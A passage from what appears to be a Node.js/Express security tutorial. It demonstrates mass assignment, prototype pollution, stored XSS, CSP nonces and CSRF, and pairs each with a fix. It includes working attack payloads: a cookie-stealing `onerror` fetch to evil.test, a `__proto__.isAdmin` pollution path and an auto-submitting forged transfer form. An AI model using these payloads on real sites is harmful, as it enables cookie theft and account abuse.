  console.log(r.body); // { id: 1, role: 'user', email: 'neha@example.test', name: 'Neha' }
  r = await request(app).post("/signup").send({ email: "m@evil.test", name: "M", role: "admin" });
  console.log(r.body); // { id: 2, role: 'admin', email: 'm@evil.test', name: 'M' }
  r = await request(app).patch("/users/1").send({ name: "Neha K", id: 99, emailVerified: true });
  console.log(r.body, [...users.keys()]);
  // { id: 99, role: 'user', email: 'neha@example.test', name: 'Neha K', emailVerified: true } [ 1, 2 ]
})();
What’s happening
  1. The first signup is honest. { id: 1, role: "user", ...req.body } copies email and name after the defaults, and the result looks right.
  2. The second signup adds role: "admin". In an object literal, later properties win, and the spread comes after role: "user", so the client's value overwrites the server's default. The attacker is now an admin, with one extra JSON field.
  3. The PATCH uses Object.assign(user, req.body), which copies every own enumerable property of the body onto the stored object. name changes as intended, but so does id (now 99) and a brand-new emailVerified: true appears — skipping email verification.
  4. [...users.keys()] still says [1, 2]: the object stored under key 1 now claims to be user 99. Code that trusts user.id and code that trusts the map key will disagree — the kind of inconsistency that turns into a second bug.
  5. Nothing in this attack is malformed or "injected". The server had no rule saying which fields a client may set.
AdvancedFix: allowlisted fields with matchedData

The fix: decide which fields each endpoint accepts, validate them, copy only those, and set server-owned fields yourself, last. express-validator's matchedData() gives you exactly the validated fields:

mass-assignment-fixed.cjs
const express = require("express");
const { body, matchedData, validationResult } = require("express-validator");
const request = require("supertest");

const users = new Map();
let nextId = 1;

const app = express();
app.use(express.json());

const signupRules = [
  body("email").isEmail().normalizeEmail(),
  body("name").isString().trim().isLength({ min: 1, max: 80 }),
];

app.post("/signup", signupRules, (req, res) => {
  const errors = validationResult(req);
  if (!errors.isEmpty()) return res.status(400).json({ errors: errors.array() });

  const input = matchedData(req, { locations: ["body"] }); // only fields that have rules
  const user = { ...input, id: nextId++, role: "user" };   // server-owned fields last
  users.set(user.id, user);
  res.status(201).json(user);
});

(async () => {
  let r = await request(app).post("/signup").send({ email: "M@Evil.Test", name: "  M  ", role: "admin", id: 7 });
  console.log(r.status, r.body); // 201 { email: 'm@evil.test', name: 'M', id: 1, role: 'user' }
  r = await request(app).post("/signup").send({ email: "not-an-email", name: { $gt: "" } });
  console.log(r.status, r.body.errors.map((e) => e.path)); // 400 [ 'email', 'name' ]
})();
What’s happening
  1. signupRules is an array of middleware. Each body(...) chain validates and sanitises one field: isEmail() checks the format and normalizeEmail() lower-cases it; isString().trim().isLength(...) rejects non-strings (an operator object like { $gt: "" } fails here) and strips the spaces from " M ".
  2. validationResult(req) collects any failures. The second request fails both rules, so it gets 400 with errors for email and name and never reaches the insert.
  3. matchedData(req, { locations: ["body"] }) returns only the fields that had rules, with their sanitised values: { email: "m@evil.test", name: "M" }. role and id had no rules, so they're simply not there.
  4. { ...input, id: nextId++, role: "user" } puts server-owned fields after the spread, so even if a future rule accidentally matched role, the server's value would win. The result is role: 'user' and the server's id: 1, not the client's 7.
  5. For PATCH, the same idea: a separate, smaller rule set for the fields a user may change, then Object.assign(user, matchedData(req)) — never the raw body.
AdvancedResponse side: leaking model fields

#Prototype pollution

The JavaScript site covers the mechanism — how a naive deep merge follows __proto__ up to Object.prototype, why constructor.prototype is a second path, and the safe merge — in Avoiding prototype pollution. Read that first. This topic goes further into what it means for a Node server: how request data gets there, why one request can affect every later request, what the runtime offers to block it, and what actually turns pollution into an exploit.

The mental model: Object.prototype is the shared fallback shelf for almost every object in the process. A property read checks the object's own properties first; only when the property is missing does it look on the shelf. Prototype pollution is an attacker managing to put something on that shelf — and from then on, every object that's missing that property finds the attacker's value instead. Nothing changes for objects that have their own value.

pollution-basics.cjs
const user = { name: "Rohit" };
const flagged = { name: "Neha", isAdmin: false };
const bare = Object.create(null);

try {
  Object.prototype.isAdmin = true; // what a successful pollution leaves behind

  console.log(user.isAdmin);                   // true
  console.log("isAdmin" in user);              // true
  console.log(Object.hasOwn(user, "isAdmin")); // false
  console.log(Object.keys(user));              // [ 'name' ]
  console.log(JSON.stringify(user));           // {"name":"Rohit"}
  console.log(flagged.isAdmin);                // false
  console.log(bare.isAdmin);                   // undefined
  for (const key in user) console.log("for...in sees", key); // name, then isAdmin
} finally {
  delete Object.prototype.isAdmin;
}
What’s happening
  1. user.isAdmin: the lookup checks user's own properties (name only), misses, follows the prototype link to Object.prototype, and finds true. So true.
  2. "isAdmin" in user also walks the chain, so it's true too. Any check built on in, truthiness or !== undefined is fooled.
  3. Object.hasOwn, Object.keys and JSON.stringify only look at own properties, so they show nothing unusual. That's why pollution is hard to spot when you log or serialise objects: the data looks clean.
  4. flagged.isAdmin is false: an own property shadows the prototype, so the lookup stops before reaching the shelf. bare was created with Object.create(null) — it has no prototype link at all, so the lookup ends immediately with undefined.
  5. for...in walks inherited enumerable properties too, and a plain assignment creates an enumerable property, so it prints name and then isAdmin. Old-style loops without a hasOwnProperty check pick up polluted keys and copy them along.
  6. The try/finally deletes the property so this demonstration doesn't leave the process polluted — a reminder that in a real server nothing cleans it up.
AdvancedHow __proto__ arrives through JSON

How does attacker data reach the shelf in an Express app? Usually through the JSON body:

json-proto.cjs
const body = JSON.parse('{"__proto__": {"isAdmin": true}}'); // exactly what express.json() does

console.log(Object.keys(body));        // [ '__proto__' ]
console.log(body.isAdmin);             // undefined
console.log({}.isAdmin);               // undefined

const assigned = Object.assign({}, body);
console.log(assigned.isAdmin);         // true
console.log(Object.keys(assigned));    // []
console.log({}.isAdmin);               // undefined

const spread = { ...body };
console.log(spread.isAdmin);           // undefined
console.log(Object.keys(spread));      // [ '__proto__' ]

const literal = { __proto__: { isAdmin: true } };
console.log(literal.isAdmin, Object.keys(literal)); // true []
What’s happening
  1. JSON.parse creates an own data property literally named "__proto__". It doesn't call the __proto__ setter, so body's prototype is still Object.prototype and nothing is polluted yet. (express.json() uses JSON.parse, and I confirmed the parsed req.body keeps the __proto__ key.)
  2. Object.assign({}, body) copies each own property by assignment: target["__proto__"] = value. Assignment goes through the inherited __proto__ setter, which changes the prototype of assigned — just that one object — to { isAdmin: true }. So assigned.isAdmin is true while Object.keys(assigned) is empty, and {}.isAdmin is still undefined.
  3. That step 2 result is already dangerous: an object built from a request body now has a hidden inherited isAdmin. It's "local" pollution, but code that checks assigned.isAdmin is fooled all the same.
  4. Spread defines properties rather than assigning them, so { ...body } gets an own "__proto__" key and no prototype change. That's safer, but the key is still there, waiting for a later unsafe merge.
  5. An object literal with __proto__: is special syntax that sets the prototype — which is why the JSON route (where the name is just data) is what attackers use.
  6. The global shelf gets polluted when code walks into obj["__proto__"] as if it were a nested object and then writes inside it — a deep merge, or a "set by path" helper, as below.
AdvancedProcess-wide pollution in an Express app

On a server, pollution doesn't stay inside one request. Object.prototype is shared by every object in the process, so one attacker request changes behaviour for every later request, from every user, until the process restarts:

pollution-app.cjs
const express = require("express");
const request = require("supertest");

// ❌ A "set by dotted path" helper, as found in many settings/config endpoints
function setPath(obj, path, value) {
  const keys = path.split(".");
  let node = obj;
  for (const key of keys.slice(0, -1)) {
    node[key] ??= {};
    node = node[key];
  }
  node[keys.at(-1)] = value;
}

const app = express();
app.use(express.json());

const preferences = new Map(); // userId -> prefs object

app.patch("/prefs/:userId", (req, res) => {
  const prefs = preferences.get(req.params.userId) ?? {};
  setPath(prefs, req.body.path, req.body.value);
  preferences.set(req.params.userId, prefs);
  res.json(prefs);
});

app.delete("/reports/:id", (req, res) => {
  const user = { id: req.get("x-user-id"), role: "viewer" }; // loaded from the DB in real life
  if (!user.isAdmin) return res.status(403).json({ error: "forbidden" });
  res.json({ deleted: req.params.id, by: user.id });
});

(async () => {
  let r = await request(app).delete("/reports/7").set("x-user-id", "neha");
  console.log(r.status, r.body); // 403 { error: 'forbidden' }

  r = await request(app).patch("/prefs/attacker").send({ path: "__proto__.isAdmin", value: true });
  console.log(r.status, r.body); // 200 {}

  r = await request(app).delete("/reports/7").set("x-user-id", "neha");
  console.log(r.status, r.body); // 200 { deleted: '7', by: 'neha' }

  console.log(Object.prototype.isAdmin); // true
})();
What’s happening
  1. Neha, a viewer, tries to delete a report. Her user object has no isAdmin, the lookup falls through to Object.prototype, finds nothing, and she gets 403. Correct.
  2. The attacker PATCHes their own preferences with path: "__proto__.isAdmin". setPath splits it into ["__proto__", "isAdmin"] and starts with node = {} (a fresh prefs object).
  3. Loop, key = "__proto__": node["__proto__"] runs the inherited getter and returns Object.prototype, which isn't nullish, so ??= assigns nothing. Then node = Object.prototype. The helper has just walked onto the shared shelf.
  4. After the loop, node["isAdmin"] = true runs as Object.prototype.isAdmin = true. The response is {} — the attacker's prefs object looks empty, because nothing was written to it.
  5. Neha's next request builds a brand-new user object, but it inherits from the same Object.prototype, so user.isAdmin is now true and she can delete reports. The attacker affected a different user's request, and every request after it — including ones in code the attacker never touched.
  6. The damage lasts until the process restarts, and only in that process. With four pods behind a load balancer, behaviour now differs depending on which pod you hit — a confusing bug report that's actually an attack.
AdvancedCorrecting my notes: own properties win
AdvancedLayered fix: allowlists and null prototypes

The fix has layers: decide which keys are allowed, refuse to walk into anything the object doesn't own, and store dictionaries in structures with no prototype:

pollution-fixed.cjs
const ALLOWED_PATHS = new Set(["theme", "notifications.email", "notifications.push"]);
const FORBIDDEN = new Set(["__proto__", "constructor", "prototype"]);

function setPathSafe(obj, path, value) {
  if (!ALLOWED_PATHS.has(path)) throw new Error(`Unknown preference: ${path}`); // 1. schema first
  const keys = path.split(".");
  let node = obj;
  for (const key of keys.slice(0, -1)) {
    if (FORBIDDEN.has(key)) throw new Error("Forbidden key");                    // 2. belt and braces
    if (!Object.hasOwn(node, key)) node[key] = Object.create(null);               // 3. never walk into inherited objects
    node = node[key];
  }
  node[keys.at(-1)] = value;
}

const prefs = Object.create(null); // 4. a dictionary with no prototype at all
for (const path of ["notifications.email", "__proto__.isAdmin", "constructor.prototype.isAdmin"]) {
  try {
    setPathSafe(prefs, path, true);
    console.log("ok   ", path);
  } catch (err) {
    console.log("error", path, "→", err.message);
  }
}
// ok    notifications.email
// error __proto__.isAdmin → Unknown preference: __proto__.isAdmin
// error constructor.prototype.isAdmin → Unknown preference: constructor.prototype.isAdmin
console.log(prefs.notifications.email, {}.isAdmin); // true undefined

// Even without the allowlist, a null-prototype object treats "__proto__" as a plain key
const dict = Object.create(null);
dict["__proto__"] = { isAdmin: true };
console.log(Object.keys(dict), {}.isAdmin); // [ '__proto__' ] undefined
What’s happening
  1. The allowlist is the real fix: a preferences endpoint only ever needs a handful of paths, so anything else is rejected before any property is touched. Both attack paths fail at this line.
  2. The FORBIDDEN check is a second layer for code where an allowlist isn't practical (a generic merge). It must apply at every level, not just the first key, and include constructor and prototype, not only __proto__.
  3. Object.hasOwn(node, key) replaces ??=. The vulnerable helper followed whatever node[key] returned, including inherited objects; this one only descends into objects the target owns, creating a fresh one otherwise. That alone would have stopped __proto__ (inherited accessor) and constructor (inherited Object).
  4. Object.create(null) for the containers means there's no __proto__ getter/setter to trip over: the last block shows dict["__proto__"] = … creating an ordinary own key while {}.isAdmin stays undefined. A Map gives the same guarantee with clearer intent.
  5. The legitimate path notifications.email still works: the result is prefs.notifications.email === true.
AdvancedRuntime switches: freezing the prototype

Node also has runtime switches. Both are defence in depth, and both have costs:

freeze.cjs
"use strict";
Object.freeze(Object.prototype);

const target = {};
try {
  target.__proto__.isAdmin = true;
} catch (err) {
  console.log(err.constructor.name + ": " + err.message);
} // TypeError: Cannot add property isAdmin, object is not extensible
console.log({}.isAdmin); // undefined

const point = { x: 1 };
try {
  point.toString = () => `(${point.x})`;
} catch (err) {
  console.log(err.constructor.name + ": " + err.message);
} // TypeError: Cannot assign to read only property 'toString' of object '#<Object>'
What’s happening
  1. Object.freeze(Object.prototype) at startup makes the shelf read-only and non-extensible. The pollution write now fails — with a TypeError in strict mode (as here), silently in sloppy mode — and {}.isAdmin stays undefined.
  2. The cost is the second block, the "override mistake": assigning point.toString = … on an ordinary object fails, because JavaScript refuses to create an own property that would shadow a read-only inherited one. Libraries that assign obj.toString, obj.constructor or obj.valueOf break, which is why freezing is a "test it first" option.
  3. node --disable-proto=throw instead removes the danger from the legacy __proto__ accessor: reading obj.__proto__ throws ERR_PROTO_ACCESS (verified). --disable-proto=delete removes the accessor entirely, so obj.__proto__ is just an ordinary missing property.
  4. Neither --disable-proto mode blocks the other path: I ran o.constructor.prototype.x = 1 under --disable-proto=throw and {}.x was 1. Treat these flags as extra layers on top of key allowlists and own-property checks, never instead of them.
AdvancedImpact: when a polluted property matters
After pollution, predict these
JavaScript
Object.prototype.isAdmin = true;
const a = {};
const b = { isAdmin: false };
const c = Object.create(null);
const d = Object.assign({}, JSON.parse('{"__proto__": {"role": "admin"}}'));
console.log(a.isAdmin, b.isAdmin, c.isAdmin, Object.hasOwn(a, "isAdmin"), d.role, d.isAdmin);
delete Object.prototype.isAdmin;
Show answer

true false undefined false admin true

What’s happening
  1. a.isAdmin: no own property, so the lookup reaches the polluted Object.prototype → true.
  2. b.isAdmin: the own false shadows the inherited value, so the lookup stops at b → false.
  3. c.isAdmin: c has no prototype, so nothing is inherited → undefined.
  4. Object.hasOwn(a, "isAdmin"): inheritance doesn't create own properties → false. This is the check that keeps authorisation code correct.
  5. d: Object.assign assigned the parsed "__proto__" key through the setter, so d's prototype is now { role: "admin" } → d.role is "admin". And that object's own prototype is still Object.prototype, which is polluted, so d.isAdmin is true two links up the chain.

#Cross-site scripting (XSS)

Cross-site scripting is injection into someone else's browser. Your server sends HTML that includes attacker-controlled text, and the victim's browser can't tell your markup from theirs — so a <script> or an onerror= attribute in that text runs as your site's JavaScript, with your origin's privileges. It can read the page, call your API with the victim's cookies attached, change their email address, or read a token from localStorage (which is why my notes warn against storing JWTs there — see Where to store tokens in the browser).

There are three flavours, and the defence is the same idea for all of them:

  • Stored: the payload is saved (a comment, a profile name) and served to everyone who views it.
  • Reflected: the payload is in the request (/search?q=<script>…) and the response echoes it back; the attacker sends victims a crafted link.
  • DOM-based: client-side JavaScript takes something like location.hash and writes it into the page with innerHTML. The server may never see it.

The mental model: HTML is a language, and inserting text into it is just like inserting text into SQL. The difference is that the "parser" is the victim's browser, and there are several contexts with different rules: element text, attribute values, URLs in href/src, inline <script> blocks, CSS. The fix is to encode output for the context you're inserting into, at the moment you insert it.

xss.cjs
const express = require("express");
const request = require("supertest");

const comments = []; // pretend this is the database

const app = express();
app.use(express.urlencoded({ extended: false }));

app.post("/comments", (req, res) => {
  const { author, website, text } = req.body;
  comments.push({ author, website, text });
  res.redirect("/comments");
});

// ❌ Stored XSS: database text is concatenated straight into HTML
app.get("/comments", (req, res) => {
  const items = comments.map((c) => `<li><a href="${c.website}">${c.author}</a>: ${c.text}</li>`);
  res.send(`<ul>${items.join("")}</ul>`);
});

(async () => {
  await request(app).post("/comments").type("form").send({
    author: "mallory",
    website: "javascript:alert(document.domain)",
    text: `<img src=x onerror="fetch('https://evil.test/c?'+document.cookie)">`,
  });
  console.log((await request(app).get("/comments")).text);
})();
AdvancedOutput: the stored XSS payload
Output
<ul><li><a href="javascript:alert(document.domain)">mallory</a>: <img src=x onerror="fetch('https://evil.test/c?'+document.cookie)"></li></ul>
What’s happening
  1. Mallory posts a comment. The server stores the three fields exactly as sent — storing raw text is fine; the bug is in how it's output.
  2. Every visitor's GET /comments concatenates the stored text into the HTML. The browser parses <img src=x onerror="…"> as a real element. src=x fails to load, so the browser fires onerror, which runs Mallory's JavaScript in your origin.
  3. That script calls fetch('https://evil.test/c?' + document.cookie), sending the visitor's readable cookies to Mallory's server. With an HttpOnly session cookie, document.cookie won't include it — but the script can still call your API as the victim, because the browser attaches the cookie to those requests automatically. HttpOnly limits theft, not XSS.
  4. The website field shows a second context. It sits inside a quoted href, and javascript:alert(document.domain) needs no special characters at all — clicking the link runs it. HTML-escaping wouldn't change a single character of this payload.
  5. Note what didn't matter: there's no <script> tag. Filters that strip <script> miss event-handler attributes, javascript: URLs, SVG and dozens of other vectors.
AdvancedFix: escaping output with escapeHtml
xss-fixed.cjs
// (same app setup and POST /comments as above — the stored data is still raw)

// Encode the five characters that can end or start markup in HTML text and quoted attributes
const escapeHtml = (s) =>
  String(s).replace(/[&<>"']/g, (ch) => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" })[ch]);

// For URLs, escaping isn't enough: only allow http(s)
function safeUrl(raw) {
  try {
    const url = new URL(raw);
    return url.protocol === "https:" || url.protocol === "http:" ? url.href : "#";
  } catch {
    return "#";
  }
}

app.get("/comments", (req, res) => {
  const items = comments.map(
    (c) => `<li><a href="${escapeHtml(safeUrl(c.website))}">${escapeHtml(c.author)}</a>: ${escapeHtml(c.text)}</li>`,
  );
  res.send(`<ul>${items.join("")}</ul>`);
});
AdvancedOutput: the escaped comment
Output (same malicious comment)
<ul><li><a href="#">mallory</a>: &lt;img src=x onerror=&quot;fetch(&#39;https://evil.test/c?&#39;+document.cookie)&quot;&gt;</li></ul>
What’s happening
  1. escapeHtml replaces < with &lt;, " with &quot; and so on. The browser decodes entities back into characters for display, but only after parsing — so &lt;img …&gt; is shown as the literal text <img …> and never becomes an element.
  2. Escaping & first-class matters (it's in the same single pass here, so there's no double-encoding), and escaping both quote types matters for attributes: " onmouseover="alert(1) becomes &quot; onmouseover=&quot;alert(1), which can't close the href="…" attribute.
  3. safeUrl handles the URL context. new URL("javascript:alert(document.domain)") parses fine with protocol === "javascript:", so the allowlist turns it into #. Only http: and https: survive. Then the result is still HTML-escaped because it's going inside an attribute.
  4. The stored data stays raw. That's deliberate: the same comment may be shown in HTML, sent as JSON to a mobile app, or put in an email, and each output needs its own encoding.
  5. In practice you rarely write escapeHtml yourself. Template engines escape by default — EJS <%= %>, Handlebars/Pug {{ }}/#{}, React's JSX — and the unescaped forms (<%- %>, {{{ }}}, dangerouslySetInnerHTML) are the places to audit.
AdvancedInline script data: escaping </script>

One context catches people out even with templates — data embedded in an inline script:

state-in-script.cjs
const state = { name: "</script><script>alert(1)</script>" };

console.log(`<script>window.__STATE__ = ${JSON.stringify(state)}</script>`);
// <script>window.__STATE__ = {"name":"</script><script>alert(1)</script>"}</script>

console.log(`<script>window.__STATE__ = ${JSON.stringify(state).replace(/</g, "\\u003c")}</script>`);
// <script>window.__STATE__ = {"name":"\u003c/script>\u003cscript>alert(1)\u003c/script>"}</script>
What’s happening
  1. JSON.stringify produces valid JSON, and valid JSON is valid JavaScript — but it doesn't escape <.
  2. The browser's HTML parser runs before the JavaScript parser. It ends the script element at the first </script> it sees, even inside a string, so the attacker's <script>alert(1)</script> starts a new, real script.
  3. Replacing every < with the JavaScript escape \u003c means the HTML parser never sees </script>. The JavaScript parser later turns \u003c back into <, so window.__STATE__.name is exactly the original string.
  4. Better still, avoid inline scripts: put JSON in a <script type="application/json"> element (still escaped) or fetch it, which also makes a strict CSP easier.
AdvancedRefining my notes on XSS defences
AdvancedFront-end risk: DOM-based XSS

#Content Security Policy

A Content Security Policy is a response header in which your server tells the browser which sources of script, style, images, frames and so on it may use for this page. The browser enforces it. If an attacker does get markup into the page, a strict CSP means their inline script simply doesn't run, because it isn't on the list.

The mental model: output encoding is locking the doors; CSP is a guest list at the door of every room. It's a second line of defence — it assumes an XSS bug might exist and limits what it can do. It doesn't replace encoding, and an over-permissive policy ('unsafe-inline' for scripts) is a guest list that says "anyone".

Helmet sends this policy by default (Helmet 8.3, verified):

Helmet's default Content-Security-Policy, one directive per line
default-src 'self';
base-uri 'self';
font-src 'self' https: data:;
form-action 'self';
frame-ancestors 'self';
img-src 'self' data:;
object-src 'none';
script-src 'self';
script-src-attr 'none';
style-src 'self' https: 'unsafe-inline';
upgrade-insecure-requests
AdvancedAllowing one inline script with a nonce

That default allows scripts only from your own origin and no inline scripts at all. If your page needs one inline script (say, to boot the app), the clean way to allow it is a nonce: a random value generated per response, put in both the header and the <script> tag. An injected script doesn't know the value, so it's blocked.

csp-nonce.cjs
const crypto = require("node:crypto");
const express = require("express");
const helmet = require("helmet");
const request = require("supertest");

const app = express();

// 1. A fresh, unguessable nonce for every response
app.use((req, res, next) => {
  res.locals.cspNonce = crypto.randomBytes(16).toString("base64");
  next();
});

// 2. Tell the browser: only scripts from this origin, or inline scripts carrying this nonce
app.use(
  helmet({
    contentSecurityPolicy: {
      directives: {
        scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`],
        reportUri: ["/csp-report"],
      },
    },
  }),
);

// 3. Put the same nonce on the scripts you wrote
app.get("/", (req, res) => {
  const comment = "<script>alert('xss')</script>"; // imagine this came from the DB unescaped
  res.send(`<!doctype html>
<script nonce="${res.locals.cspNonce}">console.log("trusted")</script>
<p>${comment}</p>`);
});

(async () => {
  for (let i = 0; i < 2; i++) {
    const res = await request(app).get("/");
    console.log(res.headers["content-security-policy"].split(";").find((d) => d.startsWith("script-src")));
  }
  // script-src 'self' 'nonce-nx93TGhpirAItWKIF824Cg=='
  // script-src 'self' 'nonce-E6clwNaK45n3E49dWfWISw=='
})();
What’s happening
  1. The first middleware runs for every request and stores 16 random bytes, base64-encoded, in res.locals. Random per response is the point: a nonce that's constant or guessable is useless.
  2. Helmet's scriptSrc directive accepts functions, which it calls with (req, res) while building the header. Helmet merges your directives with its defaults, so the full header is the default list above with script-src 'self' 'nonce-…' and report-uri /csp-report added.
  3. The two runs print different nonces, confirming each response gets its own.
  4. In the HTML, the bootstrap script carries nonce="<same value>", so the browser runs it. The injected <script>alert('xss')</script> has no nonce, isn't from 'self' as an external file, and the browser refuses to run it — and, because of report-uri, POSTs a violation report to /csp-report.
  5. Event-handler attributes like onerror= are blocked separately by script-src-attr 'none'. A nonce can't be attached to them, which is one more reason not to use inline handlers in your own markup.
AdvancedRolling out CSP safely

How to roll it out and live with it:

  • Start in report-only mode. helmet({ contentSecurityPolicy: { reportOnly: true, directives: { … } } }) sends Content-Security-Policy-Report-Only instead (verified): the browser reports violations but blocks nothing, so you can find everything your pages actually load before enforcing.
  • Avoid 'unsafe-inline' in script-src. It allows every inline script, including injected ones. (Helmet's default allows it for styles, which is a much smaller risk.)
  • Don't cache HTML containing a nonce in a shared cache: every visitor would get the same nonce, which an attacker can read.
  • frame-ancestors controls who may embed your page in an iframe (clickjacking). It's the modern replacement for X-Frame-Options, and Helmet sets both.
  • For a pure JSON API, CSP matters much less — browsers don't execute JSON responses — but default-src 'none'; frame-ancestors 'none' is a cheap safe default.

#Cross-site request forgery (CSRF)

CSRF abuses the fact that browsers attach cookies to a request based on where it's going, not which page started it. My notes put it well: "cookies are sent based on target domain… not the host". If you're logged in to bank.test with a session cookie and you visit evil.test, a form on evil.test that posts to bank.test/transfer goes out with your bank cookie. The bank sees a valid session and does what the request says.

The mental model: the cookie is a wristband. The bank checks for the wristband at the door, but anyone can push you through the door — the attacker's page doesn't need to see or steal the wristband, it just needs your browser to walk in wearing it. CSRF defences make the bank ask "did this request really come from my own page?".

Note what the attacker can and can't do: they can make the browser send a request (forms, image tags, fetch with mode: "no-cors"), but the same-origin policy stops them reading the response. CSRF is about unwanted actions, not stolen data.

evil.test/win-a-prize.html
<form action="https://bank.test/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="mallory">
  <input type="hidden" name="amount" value="500">
</form>
<script>document.getElementById("f").submit();</script>
AdvancedA CSRF-vulnerable cookie app
csrf-vulnerable.cjs
const express = require("express");
const cookieParser = require("cookie-parser");
const request = require("supertest");

const app = express();
app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));

const sessions = new Map([["s3cr3t-session-id", { user: "rohit" }]]);
const balances = { rohit: 1000, mallory: 0 };

app.post("/transfer", (req, res) => {
  const session = sessions.get(req.cookies.sid);
  if (!session) return res.status(401).send("log in first");
  const amount = Number(req.body.amount);
  balances[session.user] -= amount;
  balances[req.body.to] += amount;
  res.send(`sent ${amount} to ${req.body.to}`);
});

(async () => {
  // What the browser sends when evil.test's hidden form auto-submits to bank.test
  const res = await request(app)
    .post("/transfer")
    .set("Origin", "https://evil.test")
    .set("Cookie", "sid=s3cr3t-session-id") // attached by the browser, not by the attacker
    .type("form")
    .send("to=mallory&amount=500");
  console.log(res.status, res.text, balances); // 200 sent 500 to mallory { rohit: 500, mallory: 500 }
})();
What’s happening
  1. The victim opens evil.test/win-a-prize.html. The script submits the hidden form immediately: a top-level POST https://bank.test/transfer with body to=mallory&amount=500 and Content-Type: application/x-www-form-urlencoded.
  2. A plain HTML form POST is a "simple" request, so there's no CORS preflight — the browser just sends it. It attaches the sid cookie for bank.test (if the cookie's SameSite setting allows it, below) and sets Origin: https://evil.test.
  3. The supertest call reproduces exactly that request. The server looks up the session from the cookie, finds Rohit, and moves 500 to Mallory. The handler checked authentication perfectly — the cookie really is Rohit's.
  4. The server never asked whether Rohit's own page sent the request. The Origin header was right there saying https://evil.test, and nobody looked at it.
  5. The attacker never sees the response ("sent 500 to mallory") — they don't need to; the money moved.
AdvancedThree layers of CSRF defence

There are three layers of defence, and you normally want all three:

DefenceHow it stops the attackLimits
SameSite cookie attributethe browser doesn't attach the cookie to cross-site requests"site" ≠ "origin"; Lax allows top-level GET navigations; older clients
Check Origin (or Referer)the server rejects state-changing requests from foreign originssome clients omit the header; must handle "missing" deliberately
Anti-CSRF tokenthe request must carry a secret that only your own pages can readneeds wiring into forms and API clients

SameSite, from my notes:

  • Strict: never sent on a cross-site request, even when the user clicks a link to your site from elsewhere (they arrive logged-out-looking until the next navigation). Strongest, slightly awkward for UX.
  • Lax: sent on top-level navigations that use safe methods (clicking a link, a GET form), but not on cross-site POSTs, iframes, images or fetch. It stops the form attack above, provided your GET routes never change state.
  • None: always sent, and requires Secure. Needed for genuine cross-site use (an embedded widget), and gives no CSRF protection.
  • Set it explicitly. Chrome treats a cookie with no SameSite attribute as Lax, but don't rely on browser defaults.

SameSite is about the site (scheme plus registrable domain, like https://example.test), not the origin. https://evil.example.test and https://app.example.test are the same site, so a compromised or user-controlled subdomain can still CSRF you. That's one reason the server-side checks still matter.

csrf-fixed.cjs
const crypto = require("node:crypto");
const express = require("express");
const cookieParser = require("cookie-parser");
const request = require("supertest");

const app = express();
app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));

const sessions = new Map(); // sid -> { user, csrfToken }
const balances = { rohit: 1000, mallory: 0 };
const TRUSTED_ORIGINS = new Set(["https://bank.test"]);

app.post("/login", (req, res) => {
  const sid = crypto.randomBytes(32).toString("base64url");
  sessions.set(sid, { user: "rohit", csrfToken: crypto.randomBytes(32).toString("base64url") });
  res.cookie("sid", sid, { httpOnly: true, secure: true, sameSite: "lax", path: "/" });
  res.send("logged in");
});

// The page that contains the transfer form embeds the session's token
app.get("/transfer-form", requireSession, (req, res) => {
  res.send(`<form method="post" action="/transfer">
  <input type="hidden" name="_csrf" value="${req.session.csrfToken}">
  …
</form>`);
});

app.post("/transfer", requireSession, checkOrigin, checkCsrfToken, (req, res) => {
  const amount = Number(req.body.amount);
  balances[req.session.user] -= amount;
  balances[req.body.to] += amount;
  res.send(`sent ${amount} to ${req.body.to}`);
});

function requireSession(req, res, next) {
  req.session = sessions.get(req.cookies.sid);
  if (!req.session) return res.status(401).send("log in first");
  next();
}

function checkOrigin(req, res, next) {
  const origin = req.get("origin");
  if (origin && !TRUSTED_ORIGINS.has(origin)) return res.status(403).send("bad origin");
  next();
}

function checkCsrfToken(req, res, next) {
  const sent = Buffer.from(String(req.body._csrf ?? req.get("x-csrf-token") ?? ""));
  const expected = Buffer.from(req.session.csrfToken);
  if (sent.length !== expected.length || !crypto.timingSafeEqual(sent, expected)) {
    return res.status(403).send("bad csrf token");
  }
  next();
}

(async () => {
  const login = await request(app).post("/login");
  console.log(login.headers["set-cookie"][0]);
  // sid=ygsAtnsWOGGfv0-By4-8QCMG8cqvhkeaoSJkuNZj2ek; Path=/; HttpOnly; Secure; SameSite=Lax
  const sidCookie = login.headers["set-cookie"][0].split(";")[0];

  // Attacker's auto-submitting form: cookie attached, no token, foreign Origin
  let r = await request(app).post("/transfer").set("Cookie", sidCookie)
    .set("Origin", "https://evil.test").type("form").send("to=mallory&amount=500");
  console.log("evil origin:", r.status, r.text); // evil origin: 403 bad origin

  // Same attack from a client that sends no Origin header: the token check still stops it
  r = await request(app).post("/transfer").set("Cookie", sidCookie)
    .type("form").send("to=mallory&amount=500");
  console.log("no origin, no token:", r.status, r.text); // no origin, no token: 403 bad csrf token

  // The real form: same-origin, token copied from the page
  const page = await request(app).get("/transfer-form").set("Cookie", sidCookie);
  const token = page.text.match(/name="_csrf" value="([^"]+)"/)[1];
  r = await request(app).post("/transfer").set("Cookie", sidCookie)
    .set("Origin", "https://bank.test").type("form").send(`to=mallory&amount=5&_csrf=${token}`);
  console.log("real form:", r.status, r.text, balances); // real form: 200 sent 5 to mallory { rohit: 995, mallory: 5 }
})();
What’s happening
  1. Login creates a session with two random secrets: the session id (in the cookie) and a separate CSRF token (kept on the server, in the session). The Set-Cookie line shows the attributes: HttpOnly (no JavaScript access), Secure (HTTPS only), SameSite=Lax (not sent on cross-site POSTs). In a real browser, Lax alone would already stop the form from evil.test; supertest isn't a browser and attaches whatever cookie we tell it to, which lets us test the server-side layers on their own.
  2. Attack 1 has the cookie but Origin: https://evil.test. requireSession passes (the cookie is valid), then checkOrigin sees a foreign origin and returns 403 bad origin before the handler runs.
  3. Attack 2 omits Origin, as some older clients and privacy tools do. checkOrigin deliberately lets a missing header through (rejecting it would break those users), so the token check has to catch it: the body has no _csrf, the comparison fails, 403 bad csrf token. This is why the token is the layer that doesn't depend on browser behaviour.
  4. The real form: GET /transfer-form embeds the session's token in a hidden field. The attacker can't read this page — the same-origin policy blocks cross-origin reads — so they can't learn the token. The legitimate POST includes it, the comparison succeeds, and 5 moves.
  5. crypto.timingSafeEqual compares in constant time so response timing doesn't leak how many leading characters matched; it throws if lengths differ, hence the explicit length check first.
